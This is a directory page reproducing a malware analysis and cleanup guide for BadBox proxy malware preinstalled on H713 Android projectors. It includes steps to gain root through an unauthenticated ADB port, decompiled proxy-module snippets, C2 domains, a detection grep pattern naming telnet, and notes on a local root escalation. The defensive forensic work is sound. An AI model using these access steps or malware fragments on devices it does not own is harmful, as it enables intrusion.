Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
badbox-h713-projector — Allwinner H713 AndroidプロジェクターにおけるBadBoxマルウェアの解析およびクリーンアップガイド: ADBアクセス、感染の証拠、ファームウェアのバックアップ、ドロッパーの削除、および検証。 | Kitploit
ツール/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
Androidセキュリティ組み込みシステムセキュリティIoTセキュリティリバースエンジニアリング情報収集マルウェア分析デジタルフォレンジックモバイルセキュリティハードウェアとIoTセキュリティ

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
インシデントレスポンス
ファームウェア解析
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Allwinner H713 AndroidプロジェクターにおけるBadBoxマルウェアの解析およびクリーンアップガイド: ADBアクセス、感染の証拠、ファームウェアのバックアップ、ドロッパーの削除、および検証。

リポジトリを見る
1171日前未レビュー

Wielo / Atongmu マルウェアプロジェクター: BadBox 解析とクリーンアップ (AT-M269 / H713)

2026年9月26日 · @R

安価な Android プロジェクター (Wielo / Atongmu AT-M269、Allwinner H713) には、システムレベルのドロッパーが同梱されており、家庭内プロキシノードに変えられてしまう。本書では、ケースを開けずに侵入し、感染を証明し、ファームウェアをバックアップし、マルウェアを削除して結果を検証する方法を示す。

1. デバイス

ブランド名を変えながら販売されているノーブランドの LCD プロジェクター。基板とファームウェアは多くの H713 プロジェクター (HY300 クローンなど) で共通であるため、ここに記載する内容はより広く適用できる。

項目値
販売名Wielo Smart Projector、モデル AT-M269 (FCC ID 2BAAR-AT-M269D)
製造元Shenzhen Atongmu Technology、ファームウェアとアプリは OEM「ASHD」製
ハードウェアリビジョンpersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1)、クアッド Cortex-A53、ボード exdroid、プラットフォーム ares
RAM / ストレージ1 GB DDR @ 576 MHz / 8 GB eMMC (7,818,182,656 バイト)
Wi-Fi / BluetoothAIC8800 (aic8800d80、ドライバー rwnx 6.4.3.0)
カーネルLinux 5.4.99、32 ビット (armv7l)、2025年12月8日ビルド
実際のビルドh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys、ファームウェア H713M-android11-v1.0、ビルドホスト ishang-PC
OSAndroid 11 (SDK 30)、user ビルド、セキュリティパッチ 2022-02-05
偽装自身を Google ADT-3 (ブランド/モデル/デバイス、製造元 askey) として報告、実際のモデルは ro.product.model2 = AT-M269
パーティション / 起動仮想 A/B、アクティブスロット _b、super 内の動的パーティション (レトロフィット)、AVB 2.0、vbmeta.device_state = locked、verifiedbootstate は空、OEM アンロック不可、/system は 100% 満杯
セキュリティro.debuggable=1、ro.adb.secure=0、service.adb.root=1、ADB は tcp/5868、SELinux は permissive、privapp 権限は permissive、AOSP テストキー
地域デフォルトタイムゾーン Asia/Shanghai、DTV エリア cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. 侵入

ADB がネットワーク上で、非標準ポートで、認証プロンプトなし、かつ root 権限で待ち受けている。```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

ADB 経由で作業中にランプを消灯する```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` は効果がありません。

## 3. 感染チェーン

2つのプリインストールされたシステムアプリが system ユーザー(UID 1000)として実行されます。一方がローダーをダウンロードし、ローダーが4つのプロキシモジュールと2つ目の独立したローダーをダウンロードします。```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> 見知らぬ他人のインターネットトラフィックがあなたの接続を経由してルーティングされ、あなたのデバイスが追跡される(シリアル、MAC、Wi-Fi SSID/BSSID)。

4. 工場レベル感染の証拠

a) プロキシ様トラフィック:単一プロセス、多数の海外接続```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **b) 誰が何をインストールしたか**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) ドロッパーのデータフォルダ内のペイロードファイル```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) システムレベルのセットアップ**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) マルウェアは工場ビルド日に実行された

マルウェアはファームウェアに直接組み込まれている。ビルド日は eng.work3.20251208.154308、カーネルは Mon Dec 8 15:27:38 CST 2025 にコンパイルされた。yiyou の記録によると、同じ日に実行されていた:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) ベンダー署名済みの読み取り専用システムイメージ内のマルウェア**

ユーザーや後からインストールされたアプリは `/system` にファイルを配置できません。これは `super` の一部であり、dm-verity で保護され、`vbmeta` を通じて署名されています。

## 5. マルウェアアーキテクチャの概要

### 5.1. 主要コンポーネント

| コンポーネント                         | 場所                     | 動作                                                                                                    |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`、UID 1000      | `plugin.jar` をダウンロードして実行。シリアル、MAC、android_id、Wi-Fi SSID/BSSID、Bluetooth MAC を Umeng/Baidu に送信 |
| `plugin.jar` (DEX)                | yiyou `cache/`               | 2つの部分: アプリインストーラー(デバイスごとのアプリリスト、H713/RK3326/HY300 用の40以上のプロファイル)と「hs」タスクローダー    |
| 「hs」タスクローダー                  | `plugin.jar` 内          | 6時間ごとに C2 をポーリングして `jar`、`dex`、`apk` タイプのタスクを取得。ダウンロード、MD5 チェック、実行                     |
| SKN0041 `com.ad.proxy`            | `.rf` モジュール                | TCP/UDP/ICMP トンネリング、ハートビート、サインイン/レポート                                                              |
| SKN0054 `com.szns.sdk`            | `.rf` モジュール                | プロキシノードとあなたのネットワークからの UDP スキャン                                                                  |
| SKN0058 `com.link.core`           | `.rf` モジュール                | 独自の DNS リゾルバを持つプロキシクライアント                                                                         |
| SKN0061 `ddth2` / VpsSdk          | `.rf` モジュール                | プロキシゲートウェイ、多数の並列クライアントインスタンス                                                                   |
| `com.google.adtest` (「com.speed」) | `/data/app`                  | ネイティブプラグインローダーを備えた2番目のローダー。パッケージのインストール/削除。起動、ネットワーク、HDMI、電源イベントで再起動 |
| `com.android.sysapp`              | `/system/priv-app`、UID 1000 | OTA アップデーター: 完全なファームウェアイメージをダウンロードしてフラッシュ可能                                                       |
| Widevine ファイル                    | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` が DRM キー/ライセンスバンドルをドロップし、未認証デバイスでストリーミングアプリが動作するようにする                     |

### 5.2. 各部分がどのように隠されているか```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. トラッキングが送信するもの```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. ラテラルムーブメント

**自動的なラテラルムーブメントはないが、LANへの扉はある**

> しかし **SKN0041** と **SKN0058** はゲートウェイが指定する任意のターゲットへリレーし、SKN0041 はコマンドでそれを ping することもできる。プロキシをレンタルした者は誰でも、手動で LAN に到達したり探索したりできる。

- `plugin.jar`
- 復号された `.rf` モジュール SKN0041/54/58/61
- `com.google.adtest`、yiyou、sysapp
- `com.android.nfx` (NFXAccessibility)
- ネイティブ: `qw`、`systemmixservice`、`libsystemmix_jni.so`、`libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
SKN0041 の全コマンドセット(`com/ad/proxy/b/a0.java` のディスパッチテーブルより):

| Opcode | ハンドラ   | 動作                                                                               |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | ハートビート要求 / 応答                                                       |
| 3      | W          | オペレータ指定の host:port への生 TCP 接続を開く。アドレスチェックなし     |
| 5 / 7  | X / Y      | 開いているトランザクションに対する tcp send / close                                            |
| 8      | Z          | オペレータ指定の host:port への生 UDP セッションを開く。アドレスチェックなし        |
| 11     | K          | udp close                                                                          |
| 12     | L → P.java | オペレータ指定のホストで `ping -c 10 <host>` を実行し、全出力を中継する |
| 14     | M → Q.java | オペレータ指定の URL を取得する。チェックなし                                         |

これらのオペコードはいずれも IP 範囲によるフィルタリングを行わない。

`plugin.jar` の映像再ストリームサーバ(`com.cloudmedia.tv.server.d`、Aiqiyi/Youku/CIBN のストリーム書き換えを提供する NanoHTTPD フォーク)は、ホストを設定せずにバインドする。つまり、起動すれば localhost だけでなく全インターフェースで LAN から到達可能となる。その唯一のエントリポイントは `ParserUtils.AnalyticsHelper()` であり、`getprop ro.board.platform == "rk3188"` の背後にある。本機は `ares`(H713)を報告するため、ゲートは閉じたままである。

実機の状態:`netstat -tnp` にはループバックのスクリーンキャスト(`com.android.toofifi`、`127.0.0.1:5354`)、IPv6 経由の Google への GMS、および ADB セッションのみが表示される。`yiyou`、`sysapp`、`speed`、`umanalytics`、`adtest` のいずれのプロセスも実行されていない。

`systemmixservice` の Binder インターフェース(root としての任意のファイル読み書き/削除およびプロパティ設定が可能で、デバイス上の任意のアプリから到達可能)はローカルの権限昇格である。ドロッパーを削除し、信頼できない APK をインストールしなければ、この経路は閉じられる。

## 6. インジケータ

ネットワークインジケータ(ドメイン、URL、IP)は[セクション 11](#11-consolidated-hosturl-list-for-abuse-reports)にある。

### 6.1. パッケージ

| パッケージ                                                         | 場所                                                | 役割                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`、UID 1000(system) | ドロッパー                                                          |
| `com.android.sysapp`(AshdSysApp)                               | `/system/priv-app/AshdSysApp`、UID 1000(system)        | OTA チャネルバックドア                                             |
| `com.google.adtest`(実名 `com.fotas.wanapp`、"com.speed") | `/data/app`                                             | セカンドローダー                                                    |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | OEM 工場テストアプリ。セクション 8 でドロッパーとともに削除 |
| `com.disney.disneyplus`                                         | `/data/app`                                             | ドロッパーがインストールしたカバーアプリ                               |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | 保持、無害(Netflix リモコンヘルパー)                   |

### 6.2.バイナリ

| バイナリ                                                                             | Init サービス                                                                          | 動作                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`、`user root`、起動時から常駐                       | Superuser/ClockworkMod su デーモン(`/dev/com.koushikdutta.superuser` + `.daemon` ソケットを開く)。                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: `on property:sys.boot_completed=1` でトリガー、`disabled`+`oneshot` | 起動時の 4 秒スリープ後(`settings ... global start_disable`)、コンポーネントが `com.google.android` で始まる `BOOT_COMPLETED` レシーバを持つインストール済みパッケージをすべて検出し、`pm disable` して Play Protect スキャンや GMS コアサービスなど Google 自身の起動時チェックを停止させる。 |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: appsdisable と同じトリガーとフラグ                                   | appsdisable と同じ Google 起動レシーバ無効化動作だが、`com.google.android.permissioncontroller` を除外する。冗長。                                                                                                                                                                |
| `/system/bin/systemmixservice`(+ `libsystemmix_jni.so`、`libsystemmixservice.so`) | **`systemmix`**: `class main`、`user root`、`oneshot`                                 | OEM ネイティブ?目的は完全には特定されていないが root グループである。                                                                                                                                                                                                                                   |

### 6.3. ファイルとディレクトリ

| パス                                                                                                                                                                          | 内容                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | ダウンロードされた "hs" ローダー / アプリインストーラ DEX               |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | 暗号化されたプロキシモジュール(SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | サイレント再インストール用に保存されたペイロードのコピー                 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | デバイス ID ヘルパーネイティブライブラリ                          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | Umeng セッション DB                                         |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | トラッキング/設定 prefs                                    |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | OTA ダウンロード状態 prefs                                 |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | ドロップされた Widevine L3 DRM バンドル                           |
| `/data/local/tmp/*`、`/data/ota_package/tmp/*`                                                                                                                                | ローダーと OTA クライアントが使用するスクラッチ/残存領域 |

### 6.4. サンプルハッシュ

| サンプル                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041(復号済み)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054(復号済み)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058(復号済み)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061(復号済み)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip`(Widevine バンドル)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico`(SKN0054 設定) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. バックアップ

このモデルのファームウェアは公開されていないようで、リバースエンジニアリングしたベンダー OTA サーバも何も返さない。```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

Wi-Fi 経由の場合、ヘルパースクリプトを使用する

  1. dump-pull.sh [ip:port|usb] [file] は 256 MB 単位で取得し、サイズチェックとリトライを行う。再実行すると最後に完了したチャンクから継続する。読み取り前に /data を background_gc=off,nodiscard で再マウントし、sync して 10 秒待機する。USB 経由の場合は adb shell stop も実行する。いずれも終了時に元に戻される(background_gc=on,discard で再マウント、start)。UDISK は /data であり稼働し続けるため、そのハッシュは実行ごとに異なる可能性がある。
  2. dump-verify.sh [ip:port|usb] [file] [-y] はサイズ、GPT ヘッダー、ブート領域、およびすべてのパーティションをチェックする(デバイスの SHA-256 とイメージ内の同じバイト範囲を比較)。不一致のセクションを読み取ってパッチを当てる。クリーンパスの場合、mmcblk0.img.sha256 を書き出す。```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### 復元パス

Allwinner FELに入り、USB-A to USB-Aケーブル経由でPhoenixUSBProを使ってフラッシュします。

FELで起動するための外部ピンホールはありません: `adb reboot efex` または `fastboot oem efex`。

考えられるハードウェアフォールバック: ボード上のFELパッド。FCC内部写真で確認できます(ケースを開ける必要があります)。フラッシュにはIMAGEWTY `update.img` が必要で、これはあなたのダンプから `awimg.py`([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root))とH713テンプレートを使ってビルドします。

FELは書き込み専用です。PhoenixSuitとPhoenixUSBProはeMMCを読み戻すことができず、`sunxi-fel` にはH713用のSRAMレイアウトがなく、読み取り専用コマンドのみが動作します([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226))。

上記のADBダンプが引き続きバックアップ方法です。

### **ブートモード**

このユニットはA/B(`ro.build.ab_update=true`)で、スロット `_b` がアクティブです。`recovery` パーティションは存在しません: リカバリはブートramdisk内にあります。U-Bootシリアルコンソールは `ttyS0`、115200ボーです。

| モード            | 入り方                                                                                                 | レベル                 | ステータス                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | 通常の電源投入、`adb reboot`                                                                                | kernel                | 動作                                                                                       |
| Recovery        | `adb reboot recovery`                                                                                        | boot ramdisk          | 動作、メニューは下記                                                                           |
| fastbootd       | recoveryメニュー: Enter fastboot                                                                                | userspace in recovery | 入れる                                                                                      |
| U-Boot fastboot | recoveryメニュー: Reboot to bootloader、または `adb reboot bootloader`                                              | U-Boot                | 動作(macOSは下記の修正が必要)                                                           |
| U-Boot efex     | U-Boot fastbootから `fastboot oem efex`、または `adb reboot efex`(U-Bootには `ir-efex` リモートトリガーもあります) | U-Boot                | `fastboot oem efex` 経由および `adb reboot efex` 経由で動作: `1f3a:efe8`、FELハンドシェイクが応答 |
| BootROM FEL     | FELテストパッド                                                                                                 | SoC BootROM           | 未テスト                                                                                    |

### **リカバリメニュー:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **ADB over USB**

USB0(`ohci0`)を受け持つソケットはデフォルトでホストとして動作します。次の再起動までデバイスモードに切り替わります:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot が検出されない

ガジェットは 1f3a:1010(「USB Developer」)として認識され、そのインターフェースは標準の fastboot ff/42/03 です。ただし、そのデバイスクラスは ff であり、OS(ここでは macOS)がコンフィギュレーションを設定しないようで、fastboot devices は空のままです。

これが発生した場合の修正方法は、pyusb で一度コンフィギュレーションを設定し、その後は通常どおり fastboot を使用することです:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

U-Boot fastboot から、`fastboot oem efex` で efex ガジェット `1f3a:efe8` に切り替わります。(同じ `set_configuration()` の修正が必要かもしれません)

**Sunxi-tools をソースからビルド**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000。
version と --list のみを使用し、spl、uboot、write、exe は決して使用しないでください。sunxi ツールはこのチップセットを認識しないためです。

FEL を終了するには、まず USB を抜き、プロジェクターの青色 LED が消えるまで電源を切ります。wdreset は SoC データがないと動作しません。

8. クリーンアップ

8.1. 証拠のバックアップ```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. 削除```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

保持、おそらく無害:

  • qw (su デーモン、/system を編集することでのみ削除可能、ローカルからのみ到達可能)
  • 無害な OEM アプリ: appsdisable、gmsopt、systemmixservice
  • com.android.nfx (Netflix リモートコントロールヘルパー)

改ざん防止チェック

yiyou をアンインストールすると Settings が壊れる。com.ashd.settings の checkSHA1() には 2 つのチェックがある:

  1. Settings 自身の署名証明書で、5 つのハードコードされた SHA1 のいずれかとの一致を要求する (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91、60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15、6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01、27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA、F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. com.android.umanalytics.yiyou (または com.android.umanalytics.kege、おそらく他のファームウェアビルドにおけるドロッパーの名前) がユーザー 0 に対して登録されているかどうかをチェックする。

どちらの失敗パスも 签名校验失败,关闭应用 (「署名検証に失敗しました、アプリを終了します」) をログに記録する。yiyou を (上記のように単に無効化するのではなく) 完全にアンインストールすると、これが引き起こされる。adb shell pm install-existing com.android.umanalytics.yiyou は、再有効化せずに登録を復元する。

8.3. 確認```

adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**クリーンアップと再起動後の本ユニットでの結果:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

netstat チェックを 24 時間後に再度実行し(ローダーは 6 時間ごとにチェックインします)、DNS およびファイアウォールログでプロジェクターの IP からのブロックリストヒットを探します。

8.4. 制限事項

  • 工場出荷時リセットを行うと yiyou と sysapp が復元されます。ネットワークアクセスの前にセクション 8 を再実行してください。
  • APK を削除するために /system を読み書き可能で再マウントすることは推奨されません:vbmeta がロックされており、/system は 100% 満杯であるため、adb disable-verity + adb remount は /data にオーバーレイを作成し(工場出荷時リセットで失われ、pm uninstall --user 0 と同様)、起動失敗のリスクがあります。
